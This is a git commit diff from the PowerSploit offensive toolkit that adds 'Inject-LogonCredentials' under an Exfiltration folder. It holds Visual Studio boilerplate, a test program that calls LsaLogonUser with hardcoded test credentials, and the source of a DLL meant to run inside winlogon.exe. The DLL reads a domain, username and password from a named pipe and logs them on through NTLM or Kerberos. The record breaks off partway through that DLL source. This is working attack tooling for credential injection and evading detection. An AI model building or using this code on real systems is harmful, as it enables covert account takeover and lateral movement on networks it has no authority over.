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authorclymb3r <bialek.joseph@gmail.com>2013-11-17 21:13:15 -0800
committerclymb3r <bialek.joseph@gmail.com>2013-11-17 21:13:15 -0800
commit1503375bfbf0ee7ade498ea77444a4f1db4873e4 (patch)
tree1aa744fc4d81ca649c4e6ee75bab1903446681f8 /Exfiltration/LogonUser
parent5af0589e8f97aa49aef6bd083a00a4689c7553aa (diff)
downloadPowerSploit-1503375bfbf0ee7ade498ea77444a4f1db4873e4.tar.gz
PowerSploit-1503375bfbf0ee7ade498ea77444a4f1db4873e4.zip
Adding Inject-LogonCredentials
Diffstat (limited to 'Exfiltration/LogonUser')
-rw-r--r--Exfiltration/LogonUser/LogonUser/LogonUser.sln26
-rw-r--r--Exfiltration/LogonUser/LogonUser/LogonUser/LogonUser.cpp137
-rw-r--r--Exfiltration/LogonUser/LogonUser/LogonUser/LogonUser.vcxproj158
-rw-r--r--Exfiltration/LogonUser/LogonUser/LogonUser/LogonUser.vcxproj.filters36
-rw-r--r--Exfiltration/LogonUser/LogonUser/LogonUser/ReadMe.txt40
-rw-r--r--Exfiltration/LogonUser/LogonUser/LogonUser/stdafx.cpp8
-rw-r--r--Exfiltration/LogonUser/LogonUser/LogonUser/stdafx.h20
-rw-r--r--Exfiltration/LogonUser/LogonUser/LogonUser/targetver.h8
-rw-r--r--Exfiltration/LogonUser/LogonUser/logon/ReadMe.txt48
-rw-r--r--Exfiltration/LogonUser/LogonUser/logon/dllmain.cpp19
-rw-r--r--Exfiltration/LogonUser/LogonUser/logon/logon.cpp258
-rw-r--r--Exfiltration/LogonUser/LogonUser/logon/logon.vcxproj176
-rw-r--r--Exfiltration/LogonUser/LogonUser/logon/logon.vcxproj.filters39
-rw-r--r--Exfiltration/LogonUser/LogonUser/logon/stdafx.cpp8
-rw-r--r--Exfiltration/LogonUser/LogonUser/logon/stdafx.h25
-rw-r--r--Exfiltration/LogonUser/LogonUser/logon/targetver.h8
16 files changed, 1014 insertions, 0 deletions
diff --git a/Exfiltration/LogonUser/LogonUser/LogonUser.sln b/Exfiltration/LogonUser/LogonUser/LogonUser.sln
new file mode 100644
index 0000000..890e833
--- /dev/null
+++ b/Exfiltration/LogonUser/LogonUser/LogonUser.sln
@@ -0,0 +1,26 @@
+
+Microsoft Visual Studio Solution File, Format Version 12.00
+# Visual Studio 2012
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "logon", "logon\logon.vcxproj", "{D248AC1C-B831-42AE-835A-1B98B2BF9DF3}"
+EndProject
+Global
+ GlobalSection(SolutionConfigurationPlatforms) = preSolution
+ Debug|Win32 = Debug|Win32
+ Debug|x64 = Debug|x64
+ Release|Win32 = Release|Win32
+ Release|x64 = Release|x64
+ EndGlobalSection
+ GlobalSection(ProjectConfigurationPlatforms) = postSolution
+ {D248AC1C-B831-42AE-835A-1B98B2BF9DF3}.Debug|Win32.ActiveCfg = Debug|Win32
+ {D248AC1C-B831-42AE-835A-1B98B2BF9DF3}.Debug|Win32.Build.0 = Debug|Win32
+ {D248AC1C-B831-42AE-835A-1B98B2BF9DF3}.Debug|x64.ActiveCfg = Debug|x64
+ {D248AC1C-B831-42AE-835A-1B98B2BF9DF3}.Debug|x64.Build.0 = Debug|x64
+ {D248AC1C-B831-42AE-835A-1B98B2BF9DF3}.Release|Win32.ActiveCfg = Release|Win32
+ {D248AC1C-B831-42AE-835A-1B98B2BF9DF3}.Release|Win32.Build.0 = Release|Win32
+ {D248AC1C-B831-42AE-835A-1B98B2BF9DF3}.Release|x64.ActiveCfg = Release|x64
+ {D248AC1C-B831-42AE-835A-1B98B2BF9DF3}.Release|x64.Build.0 = Release|x64
+ EndGlobalSection
+ GlobalSection(SolutionProperties) = preSolution
+ HideSolutionNode = FALSE
+ EndGlobalSection
+EndGlobal
diff --git a/Exfiltration/LogonUser/LogonUser/LogonUser/LogonUser.cpp b/Exfiltration/LogonUser/LogonUser/LogonUser/LogonUser.cpp
new file mode 100644
index 0000000..f5b39fd
--- /dev/null
+++ b/Exfiltration/LogonUser/LogonUser/LogonUser/LogonUser.cpp
@@ -0,0 +1,137 @@
+// LogonUser.cpp : Defines the entry point for the console application.
+//
+
+#include "stdafx.h"
+
+using namespace std;
+
+size_t wcsByteLen( const wchar_t* str );
+void InitUnicodeString( UNICODE_STRING& str, const wchar_t* value, BYTE* buffer, size_t& offset );
+PVOID CreateNtlmLogonStructure(wstring domain, wstring username, wstring password, DWORD* size);
+size_t WriteUnicodeString(wstring str, UNICODE_STRING* uniStr, PVOID baseAddress, size_t offset);
+
+int _tmain(int argc, _TCHAR* argv[])
+{
+ //Get a handle to LSA
+ HANDLE hLSA = NULL;
+ NTSTATUS status = LsaConnectUntrusted(&hLSA);
+ if (status != 0)
+ {
+ cout << "Error calling LsaConnectUntrusted. Error code: " << status << endl;
+ return -1;
+ }
+ if (hLSA == NULL)
+ {
+ cout << "hLSA is NULL, this shouldn't ever happen" << endl;
+ return -1;
+ }
+
+ //Build LsaLogonUser parameters
+ LSA_STRING originName = {};
+ char originNameStr[] = "qpqp";
+ originName.Buffer = originNameStr;
+ originName.Length = (USHORT)strlen(originNameStr);
+ originName.MaximumLength = originName.Length;
+
+ ULONG authPackage = 0;
+ PLSA_STRING authPackageName = new LSA_STRING();
+ char authPackageBuf[] = MSV1_0_PACKAGE_NAME;
+ authPackageName->Buffer = authPackageBuf;
+ authPackageName->Length = (USHORT)strlen(authPackageBuf);
+ authPackageName->MaximumLength = (USHORT)strlen(authPackageBuf);
+ status = LsaLookupAuthenticationPackage(hLSA, authPackageName, &authPackage);
+ if (status != 0)
+ {
+ int winError = LsaNtStatusToWinError(status);
+ cout << "Call to LsaLookupAuthenticationPackage failed. Error code: " << winError;
+ return -1;
+ }
+
+ DWORD authBufferSize = 0;
+ PVOID authBuffer = CreateNtlmLogonStructure(L"VMWORKSTATION", L"testuser", L"Password1", &authBufferSize);
+ cout << "authBufferSize: " << authBufferSize << endl;
+
+ //Get TokenSource
+ HANDLE hProcess = GetCurrentProcess();//todo
+ HANDLE procToken = NULL;
+ BOOL success = OpenProcessToken(hProcess, TOKEN_ALL_ACCESS, &procToken);
+ if (!success)
+ {
+ DWORD errorCode = GetLastError();
+ cout << "Call to OpenProcessToken failed. Errorcode: " << errorCode << endl;
+ return -1;
+ }
+
+ TOKEN_SOURCE tokenSource = {};
+ DWORD realSize = 0;
+ success = GetTokenInformation(procToken, TokenSource, &tokenSource, sizeof(tokenSource), &realSize);
+ if (!success)
+ {
+ cout << "Call to GetTokenInformation failed." << endl;
+ return -1;
+ }
+
+
+ //Misc
+ PVOID profileBuffer = NULL;
+ ULONG profileBufferSize = 0;
+ LUID loginId;
+ HANDLE token = NULL;
+ QUOTA_LIMITS quotaLimits;
+ NTSTATUS subStatus = 0;
+
+ status = LsaLogonUser(hLSA,
+ &originName,
+ RemoteInteractive,
+ authPackage,
+ authBuffer,
+ authBufferSize,
+ 0,
+ &tokenSource,
+ &profileBuffer,
+ &profileBufferSize,
+ &loginId,
+ &token,
+ &quotaLimits,
+ &subStatus);
+
+ if (status != 0)
+ {
+ NTSTATUS winError = LsaNtStatusToWinError(status);
+ cout << "Error calling LsaLogonUser. Error code: " << winError << endl;
+ return -1;
+ }
+
+ cout << "Success!" << endl;
+
+ return 1;
+}
+
+//size will be set to the size of the structure created
+PVOID CreateNtlmLogonStructure(wstring domain, wstring username, wstring password, DWORD* size)
+{
+ size_t wcharSize = sizeof(wchar_t);
+
+ size_t totalSize = sizeof(MSV1_0_INTERACTIVE_LOGON) + ((domain.length() + username.length() + password.length()) * wcharSize);
+ MSV1_0_INTERACTIVE_LOGON* ntlmLogon = (PMSV1_0_INTERACTIVE_LOGON)(new BYTE[totalSize]);
+ size_t offset = sizeof(MSV1_0_INTERACTIVE_LOGON);
+
+ ntlmLogon->MessageType = MsV1_0InteractiveLogon;
+ offset += WriteUnicodeString(domain, &(ntlmLogon->LogonDomainName), ntlmLogon, offset);
+ offset += WriteUnicodeString(username, &(ntlmLogon->UserName), ntlmLogon, offset);
+ offset += WriteUnicodeString(password, &(ntlmLogon->Password), ntlmLogon, offset);
+
+ *size = (DWORD)totalSize; //If the size is bigger than a DWORD, there is a gigantic bug somewhere.
+ return ntlmLogon;
+}
+
+size_t WriteUnicodeString(wstring str, UNICODE_STRING* uniStr, PVOID baseAddress, size_t offset)
+{
+ const wchar_t* buffer = str.c_str();
+ size_t size = str.length() * sizeof(wchar_t);
+ uniStr->Length = (USHORT)size;
+ uniStr->MaximumLength = (USHORT)size;
+ uniStr->Buffer = (PWSTR)((UINT_PTR)baseAddress + offset);
+ memcpy((PVOID)((UINT_PTR)baseAddress + offset), str.c_str(), size);
+ return size;
+} \ No newline at end of file
diff --git a/Exfiltration/LogonUser/LogonUser/LogonUser/LogonUser.vcxproj b/Exfiltration/LogonUser/LogonUser/LogonUser/LogonUser.vcxproj
new file mode 100644
index 0000000..7fd8de2
--- /dev/null
+++ b/Exfiltration/LogonUser/LogonUser/LogonUser/LogonUser.vcxproj
@@ -0,0 +1,158 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+ <ItemGroup Label="ProjectConfigurations">
+ <ProjectConfiguration Include="Debug|Win32">
+ <Configuration>Debug</Configuration>
+ <Platform>Win32</Platform>
+ </ProjectConfiguration>
+ <ProjectConfiguration Include="Debug|x64">
+ <Configuration>Debug</Configuration>
+ <Platform>x64</Platform>
+ </ProjectConfiguration>
+ <ProjectConfiguration Include="Release|Win32">
+ <Configuration>Release</Configuration>
+ <Platform>Win32</Platform>
+ </ProjectConfiguration>
+ <ProjectConfiguration Include="Release|x64">
+ <Configuration>Release</Configuration>
+ <Platform>x64</Platform>
+ </ProjectConfiguration>
+ </ItemGroup>
+ <PropertyGroup Label="Globals">
+ <ProjectGuid>{F9DC2AAF-2213-4D87-9F52-283DA1CC6E18}</ProjectGuid>
+ <Keyword>Win32Proj</Keyword>
+ <RootNamespace>LogonUser</RootNamespace>
+ </PropertyGroup>
+ <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
+ <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
+ <ConfigurationType>Application</ConfigurationType>
+ <UseDebugLibraries>true</UseDebugLibraries>
+ <PlatformToolset>v110</PlatformToolset>
+ <CharacterSet>Unicode</CharacterSet>
+ </PropertyGroup>
+ <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
+ <ConfigurationType>Application</ConfigurationType>
+ <UseDebugLibraries>true</UseDebugLibraries>
+ <PlatformToolset>v110</PlatformToolset>
+ <CharacterSet>Unicode</CharacterSet>
+ </PropertyGroup>
+ <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
+ <ConfigurationType>Application</ConfigurationType>
+ <UseDebugLibraries>false</UseDebugLibraries>
+ <PlatformToolset>v110</PlatformToolset>
+ <WholeProgramOptimization>true</WholeProgramOptimization>
+ <CharacterSet>Unicode</CharacterSet>
+ </PropertyGroup>
+ <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
+ <ConfigurationType>Application</ConfigurationType>
+ <UseDebugLibraries>false</UseDebugLibraries>
+ <PlatformToolset>v110</PlatformToolset>
+ <WholeProgramOptimization>true</WholeProgramOptimization>
+ <CharacterSet>Unicode</CharacterSet>
+ </PropertyGroup>
+ <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
+ <ImportGroup Label="ExtensionSettings">
+ </ImportGroup>
+ <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
+ <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
+ </ImportGroup>
+ <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets">
+ <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
+ </ImportGroup>
+ <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
+ <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
+ </ImportGroup>
+ <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets">
+ <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
+ </ImportGroup>
+ <PropertyGroup Label="UserMacros" />
+ <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
+ <LinkIncremental>true</LinkIncremental>
+ </PropertyGroup>
+ <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
+ <LinkIncremental>true</LinkIncremental>
+ </PropertyGroup>
+ <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
+ <LinkIncremental>false</LinkIncremental>
+ </PropertyGroup>
+ <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
+ <LinkIncremental>false</LinkIncremental>
+ </PropertyGroup>
+ <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
+ <ClCompile>
+ <PrecompiledHeader>Use</PrecompiledHeader>
+ <WarningLevel>Level3</WarningLevel>
+ <Optimization>Disabled</Optimization>
+ <PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
+ </ClCompile>
+ <Link>
+ <SubSystem>Console</SubSystem>
+ <GenerateDebugInformation>true</GenerateDebugInformation>
+ <AdditionalDependencies>secur32.lib;%(AdditionalDependencies)</AdditionalDependencies>
+ </Link>
+ </ItemDefinitionGroup>
+ <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
+ <ClCompile>
+ <PrecompiledHeader>Use</PrecompiledHeader>
+ <WarningLevel>Level3</WarningLevel>
+ <Optimization>Disabled</Optimization>
+ <PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
+ </ClCompile>
+ <Link>
+ <SubSystem>Console</SubSystem>
+ <GenerateDebugInformation>true</GenerateDebugInformation>
+ <AdditionalDependencies>secur32.lib;%(AdditionalDependencies)</AdditionalDependencies>
+ </Link>
+ </ItemDefinitionGroup>
+ <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
+ <ClCompile>
+ <WarningLevel>Level3</WarningLevel>
+ <PrecompiledHeader>Use</PrecompiledHeader>
+ <Optimization>MaxSpeed</Optimization>
+ <FunctionLevelLinking>true</FunctionLevelLinking>
+ <IntrinsicFunctions>true</IntrinsicFunctions>
+ <PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
+ </ClCompile>
+ <Link>
+ <SubSystem>Console</SubSystem>
+ <GenerateDebugInformation>true</GenerateDebugInformation>
+ <EnableCOMDATFolding>true</EnableCOMDATFolding>
+ <OptimizeReferences>true</OptimizeReferences>
+ </Link>
+ </ItemDefinitionGroup>
+ <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
+ <ClCompile>
+ <WarningLevel>Level3</WarningLevel>
+ <PrecompiledHeader>Use</PrecompiledHeader>
+ <Optimization>MaxSpeed</Optimization>
+ <FunctionLevelLinking>true</FunctionLevelLinking>
+ <IntrinsicFunctions>true</IntrinsicFunctions>
+ <PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
+ </ClCompile>
+ <Link>
+ <SubSystem>Console</SubSystem>
+ <GenerateDebugInformation>true</GenerateDebugInformation>
+ <EnableCOMDATFolding>true</EnableCOMDATFolding>
+ <OptimizeReferences>true</OptimizeReferences>
+ </Link>
+ </ItemDefinitionGroup>
+ <ItemGroup>
+ <Text Include="ReadMe.txt" />
+ </ItemGroup>
+ <ItemGroup>
+ <ClInclude Include="stdafx.h" />
+ <ClInclude Include="targetver.h" />
+ </ItemGroup>
+ <ItemGroup>
+ <ClCompile Include="LogonUser.cpp" />
+ <ClCompile Include="stdafx.cpp">
+ <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">Create</PrecompiledHeader>
+ <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">Create</PrecompiledHeader>
+ <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Create</PrecompiledHeader>
+ <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">Create</PrecompiledHeader>
+ </ClCompile>
+ </ItemGroup>
+ <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
+ <ImportGroup Label="ExtensionTargets">
+ </ImportGroup>
+</Project> \ No newline at end of file
diff --git a/Exfiltration/LogonUser/LogonUser/LogonUser/LogonUser.vcxproj.filters b/Exfiltration/LogonUser/LogonUser/LogonUser/LogonUser.vcxproj.filters
new file mode 100644
index 0000000..f92726f
--- /dev/null
+++ b/Exfiltration/LogonUser/LogonUser/LogonUser/LogonUser.vcxproj.filters
@@ -0,0 +1,36 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+ <ItemGroup>
+ <Filter Include="Source Files">
+ <UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
+ <Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
+ </Filter>
+ <Filter Include="Header Files">
+ <UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
+ <Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions>
+ </Filter>
+ <Filter Include="Resource Files">
+ <UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
+ <Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
+ </Filter>
+ </ItemGroup>
+ <ItemGroup>
+ <Text Include="ReadMe.txt" />
+ </ItemGroup>
+ <ItemGroup>
+ <ClInclude Include="stdafx.h">
+ <Filter>Header Files</Filter>
+ </ClInclude>
+ <ClInclude Include="targetver.h">
+ <Filter>Header Files</Filter>
+ </ClInclude>
+ </ItemGroup>
+ <ItemGroup>
+ <ClCompile Include="stdafx.cpp">
+ <Filter>Source Files</Filter>
+ </ClCompile>
+ <ClCompile Include="LogonUser.cpp">
+ <Filter>Source Files</Filter>
+ </ClCompile>
+ </ItemGroup>
+</Project> \ No newline at end of file
diff --git a/Exfiltration/LogonUser/LogonUser/LogonUser/ReadMe.txt b/Exfiltration/LogonUser/LogonUser/LogonUser/ReadMe.txt
new file mode 100644
index 0000000..8275e56
--- /dev/null
+++ b/Exfiltration/LogonUser/LogonUser/LogonUser/ReadMe.txt
@@ -0,0 +1,40 @@
+========================================================================
+ CONSOLE APPLICATION : LogonUser Project Overview
+========================================================================
+
+AppWizard has created this LogonUser application for you.
+
+This file contains a summary of what you will find in each of the files that
+make up your LogonUser application.
+
+
+LogonUser.vcxproj
+ This is the main project file for VC++ projects generated using an Application Wizard.
+ It contains information about the version of Visual C++ that generated the file, and
+ information about the platforms, configurations, and project features selected with the
+ Application Wizard.
+
+LogonUser.vcxproj.filters
+ This is the filters file for VC++ projects generated using an Application Wizard.
+ It contains information about the association between the files in your project
+ and the filters. This association is used in the IDE to show grouping of files with
+ similar extensions under a specific node (for e.g. ".cpp" files are associated with the
+ "Source Files" filter).
+
+LogonUser.cpp
+ This is the main application source file.
+
+/////////////////////////////////////////////////////////////////////////////
+Other standard files:
+
+StdAfx.h, StdAfx.cpp
+ These files are used to build a precompiled header (PCH) file
+ named LogonUser.pch and a precompiled types file named StdAfx.obj.
+
+/////////////////////////////////////////////////////////////////////////////
+Other notes:
+
+AppWizard uses "TODO:" comments to indicate parts of the source code you
+should add to or customize.
+
+/////////////////////////////////////////////////////////////////////////////
diff --git a/Exfiltration/LogonUser/LogonUser/LogonUser/stdafx.cpp b/Exfiltration/LogonUser/LogonUser/LogonUser/stdafx.cpp
new file mode 100644
index 0000000..d213d3a
--- /dev/null
+++ b/Exfiltration/LogonUser/LogonUser/LogonUser/stdafx.cpp
@@ -0,0 +1,8 @@
+// stdafx.cpp : source file that includes just the standard includes
+// LogonUser.pch will be the pre-compiled header
+// stdafx.obj will contain the pre-compiled type information
+
+#include "stdafx.h"
+
+// TODO: reference any additional headers you need in STDAFX.H
+// and not in this file
diff --git a/Exfiltration/LogonUser/LogonUser/LogonUser/stdafx.h b/Exfiltration/LogonUser/LogonUser/LogonUser/stdafx.h
new file mode 100644
index 0000000..cb2a53f
--- /dev/null
+++ b/Exfiltration/LogonUser/LogonUser/LogonUser/stdafx.h
@@ -0,0 +1,20 @@
+// stdafx.h : include file for standard system include files,
+// or project specific include files that are used frequently, but
+// are changed infrequently
+//
+
+#pragma once
+
+#include "targetver.h"
+#include <stdio.h>
+#include <tchar.h>
+#include <iostream>
+#include <string>
+#include <Windows.h>
+#include <NTSecAPI.h>
+
+
+
+
+
+// TODO: reference additional headers your program requires here
diff --git a/Exfiltration/LogonUser/LogonUser/LogonUser/targetver.h b/Exfiltration/LogonUser/LogonUser/LogonUser/targetver.h
new file mode 100644
index 0000000..87c0086
--- /dev/null
+++ b/Exfiltration/LogonUser/LogonUser/LogonUser/targetver.h
@@ -0,0 +1,8 @@
+#pragma once
+
+// Including SDKDDKVer.h defines the highest available Windows platform.
+
+// If you wish to build your application for a previous Windows platform, include WinSDKVer.h and
+// set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h.
+
+#include <SDKDDKVer.h>
diff --git a/Exfiltration/LogonUser/LogonUser/logon/ReadMe.txt b/Exfiltration/LogonUser/LogonUser/logon/ReadMe.txt
new file mode 100644
index 0000000..605d341
--- /dev/null
+++ b/Exfiltration/LogonUser/LogonUser/logon/ReadMe.txt
@@ -0,0 +1,48 @@
+========================================================================
+ DYNAMIC LINK LIBRARY : logon Project Overview
+========================================================================
+
+AppWizard has created this logon DLL for you.
+
+This file contains a summary of what you will find in each of the files that
+make up your logon application.
+
+
+logon.vcxproj
+ This is the main project file for VC++ projects generated using an Application Wizard.
+ It contains information about the version of Visual C++ that generated the file, and
+ information about the platforms, configurations, and project features selected with the
+ Application Wizard.
+
+logon.vcxproj.filters
+ This is the filters file for VC++ projects generated using an Application Wizard.
+ It contains information about the association between the files in your project
+ and the filters. This association is used in the IDE to show grouping of files with
+ similar extensions under a specific node (for e.g. ".cpp" files are associated with the
+ "Source Files" filter).
+
+logon.cpp
+ This is the main DLL source file.
+
+ When created, this DLL does not export any symbols. As a result, it
+ will not produce a .lib file when it is built. If you wish this project
+ to be a project dependency of some other project, you will either need to
+ add code to export some symbols from the DLL so that an export library
+ will be produced, or you can set the Ignore Input Library property to Yes
+ on the General propert page of the Linker folder in the project's Property
+ Pages dialog box.
+
+/////////////////////////////////////////////////////////////////////////////
+Other standard files:
+
+StdAfx.h, StdAfx.cpp
+ These files are used to build a precompiled header (PCH) file
+ named logon.pch and a precompiled types file named StdAfx.obj.
+
+/////////////////////////////////////////////////////////////////////////////
+Other notes:
+
+AppWizard uses "TODO:" comments to indicate parts of the source code you
+should add to or customize.
+
+/////////////////////////////////////////////////////////////////////////////
diff --git a/Exfiltration/LogonUser/LogonUser/logon/dllmain.cpp b/Exfiltration/LogonUser/LogonUser/logon/dllmain.cpp
new file mode 100644
index 0000000..69b5891
--- /dev/null
+++ b/Exfiltration/LogonUser/LogonUser/logon/dllmain.cpp
@@ -0,0 +1,19 @@
+// dllmain.cpp : Defines the entry point for the DLL application.
+#include "stdafx.h"
+
+BOOL APIENTRY DllMain( HMODULE hModule,
+ DWORD ul_reason_for_call,
+ LPVOID lpReserved
+ )
+{
+ switch (ul_reason_for_call)
+ {
+ case DLL_PROCESS_ATTACH:
+ case DLL_THREAD_ATTACH:
+ case DLL_THREAD_DETACH:
+ case DLL_PROCESS_DETACH:
+ break;
+ }
+ return TRUE;
+}
+
diff --git a/Exfiltration/LogonUser/LogonUser/logon/logon.cpp b/Exfiltration/LogonUser/LogonUser/logon/logon.cpp
new file mode 100644
index 0000000..8011ed8
--- /dev/null
+++ b/Exfiltration/LogonUser/LogonUser/logon/logon.cpp
@@ -0,0 +1,258 @@
+// logon.cpp : Defines the exported functions for the DLL application.
+//
+
+#include "stdafx.h"
+
+using namespace std;
+
+size_t wcsByteLen( const wchar_t* str );
+void InitUnicodeString( UNICODE_STRING& str, const wchar_t* value, BYTE* buffer, size_t& offset );
+PVOID CreateKerbLogonStructure(const wchar_t* domain, const wchar_t* username, const wchar_t* password, DWORD* size);
+PVOID CreateNtlmLogonStructure(const wchar_t* domain, const wchar_t* username, const wchar_t* password, DWORD* size);
+size_t WriteUnicodeString(const wchar_t* str, UNICODE_STRING* uniStr, PVOID address);
+void WriteErrorToPipe(string errorMsg, HANDLE pipe);
+
+extern "C" __declspec( dllexport ) void VoidFunc();
+
+
+//The entire point of this code is to call LsaLogonUser from within winlogon.exe
+extern "C" __declspec( dllexport ) void VoidFunc()
+{
+ //Open a pipe which will receive data from the PowerShell script.
+ HANDLE pipe = CreateFile(L"\\\\.\\pipe\\sqsvc", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
+ if (pipe == INVALID_HANDLE_VALUE)
+ {
+ return;
+ }
+
+ const size_t strSize = 257;
+ size_t bytesToRead = strSize * sizeof(wchar_t) - sizeof(wchar_t);
+ wchar_t* domain = new wchar_t[strSize];
+ wchar_t* username = new wchar_t[strSize];
+ wchar_t* password = new wchar_t[strSize];
+ DWORD bytesRead = 0;
+
+ BOOL success = ReadFile(pipe, domain, strSize, &bytesRead, NULL);
+ if (!success)
+ {
+ return;
+ }
+ domain[bytesRead/2] = '\0';
+
+ success = ReadFile(pipe, username, strSize-2, &bytesRead, NULL);
+ if (!success)
+ {
+ return;
+ }
+ username[bytesRead/2] = '\0';
+
+ success = ReadFile(pipe, password, strSize-2, &bytesRead, NULL);
+ if (!success)
+ {
+ return;
+ }
+ password[bytesRead/2] = '\0';
+
+ //Get the logon type from the pipe
+ USHORT logonType = 10;
+ success = ReadFile(pipe, &logonType, 1, &bytesRead, NULL);
+ if (!success)
+ {
+ return;
+ }
+
+ //Get the authentication package to use. 1 = Msv1_0, 2 = Kerberos
+ USHORT authPackageToUse = 0;
+ success = ReadFile(pipe, &authPackageToUse, 1, &bytesRead, NULL);
+ if (!success)
+ {
+ return;
+ }
+
+
+ /////////////
+ //Build the parameters to call LsaLogonUser with
+ /////////////
+
+ //Get a handle to LSA
+ HANDLE hLSA = NULL;
+ NTSTATUS status = LsaConnectUntrusted(&hLSA);
+ if (status != 0)
+ {
+ string errorMsg = "Error calling LsaConnectUntrusted. Error code: " + to_string(status);
+ WriteErrorToPipe(errorMsg, pipe);
+ return;
+ }
+ if (hLSA == NULL)
+ {
+ string errorMsg = "hLSA (LSA handle) is NULL, this shouldn't ever happen.";
+ WriteErrorToPipe(errorMsg, pipe);
+ return;
+ }
+
+ //Build LsaLogonUser parameters
+ LSA_STRING originName = {};
+ char originNameStr[] = "";
+ originName.Buffer = originNameStr;
+ originName.Length = (USHORT)0;
+ originName.MaximumLength = 0;
+
+ //Build the authentication package parameter based on the auth package the powershell script specified to use
+ //Also get the AuthenticationInformation
+ char* authPackageBuf = NULL;
+ DWORD authBufferSize = 0;
+ PVOID authBuffer = NULL;
+ if (authPackageToUse == 1)
+ {
+ authPackageBuf = MSV1_0_PACKAGE_NAME;
+ authBuffer = CreateNtlmLogonStructure(domain, username, password, &authBufferSize);
+ }
+ else if (authPackageToUse == 2)
+ {
+ authPackageBuf = MICROSOFT_KERBEROS_NAME_A;
+ authBuffer = CreateKerbLogonStructure(domain, username, password, &authBufferSize);
+ }
+ else
+ {
+ string errorMsg = "Received an invalid auth package from the named pipe";
+ WriteErrorToPipe(errorMsg, pipe);
+ return;
+ }
+
+ ULONG authPackage = 0;
+ PLSA_STRING authPackageName = new LSA_STRING();
+ authPackageName->Buffer = authPackageBuf;
+ authPackageName->Length = (USHORT)strlen(authPackageBuf);
+ authPackageName->MaximumLength = (USHORT)strlen(authPackageBuf);
+ status = LsaLookupAuthenticationPackage(hLSA, authPackageName, &authPackage);
+ if (status != 0)
+ {
+ int winError = LsaNtStatusToWinError(status);
+ string errorMsg = "Call to LsaLookupAuthenticationPackage failed. Error code: " + to_string(winError);
+ WriteErrorToPipe(errorMsg, pipe);
+ return;
+ }
+
+ //Get TokenSource
+ HANDLE hProcess = GetCurrentProcess();//todo
+ HANDLE procToken = NULL;
+ success = OpenProcessToken(hProcess, TOKEN_ALL_ACCESS, &procToken);
+ if (!success)
+ {
+ DWORD errorCode = GetLastError();
+ string errorMsg = "Call to OpenProcessToken failed. Errorcode: " + to_string(errorCode);
+ WriteErrorToPipe(errorMsg, pipe);
+ return;
+ }
+
+ TOKEN_SOURCE tokenSource = {};
+ DWORD realSize = 0;
